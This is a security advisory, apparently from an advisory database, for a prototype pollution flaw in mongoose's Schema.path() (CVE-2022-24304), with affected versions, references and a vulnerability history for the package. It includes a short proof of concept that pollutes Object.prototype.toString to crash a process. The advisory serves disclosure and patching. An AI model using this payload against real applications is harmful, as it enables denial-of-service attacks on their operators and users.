Mongoose Vulnerable to Prototype Pollution in Schema Object
Description
Mongoose is a MongoDB object modeling tool designed to work in an asynchronous environment.
Affected versions of this package are vulnerable to Prototype Pollution. The Schema.path() function is vulnerable to prototype pollution when setting the schema object. This vulnerability allows modification of the Object prototype and could be manipulated into a Denial of Service (DoS) attack.
Proof of Concept
// poc.js
const mongoose = require('mongoose');
const schema = new mongoose.Schema();
malicious_payload = '__proto__.toString'
schema.path(malicious_payload, [String])
x = {}
console.log(x.toString()) // crashed (Denial of service (DoS) attack)Impact
This vulnerability can be manipulated to exploit other types of attacks, such as Denial of service (DoS), Remote Code Execution, or Property Injection.
Affected software
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| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| npm package | mongoose | >= 6.0.0, < 6.4.6, < 5.13.15 | 6.4.6, 5.13.15 |
References
- https://nvd.nist.gov/vuln/detail/CVE-2022-24304
- https://github.com/Automattic/mongoose/issues/12085
- https://github.com/Automattic/mongoose/commit/6a197316564742c0422309e1b5fecfa4faec126e
- https://github.com/Automattic/mongoose/commit/a45cfb6b0ce0067ae9794cfa80f7917e1fb3c6f8
- https://github.com/Automattic/mongoose/blob/51e758541763b6f14569744ced15cc23ab8b50c6/lib/schema.js#L88-L141
- https://huntr.dev/bounties/055be524-9296-4b2f-b68d-6d5b810d1ddd
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H- Weakness (CWE)
CWE-1321- Platform
- npm
- Package
mongoose- Disclosed
- 27.08.2022
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-h8hf-x3f4-xwgp - CC BY 4.0
Vulnerability history: mongoose
All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 9
- First → latest
- 10.2019 07.2026
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- Critical 4
- High 3
- Medium 2
Disclosures per year
- 2019: 1
- 2020: 1
- 2021: 0
- 2022: 2
- 2023: 1
- 2024: 1
- 2025: 1
- 2026: 2
-
Mongoose Vulnerable to Prototype Pollution in Schema Object this entry
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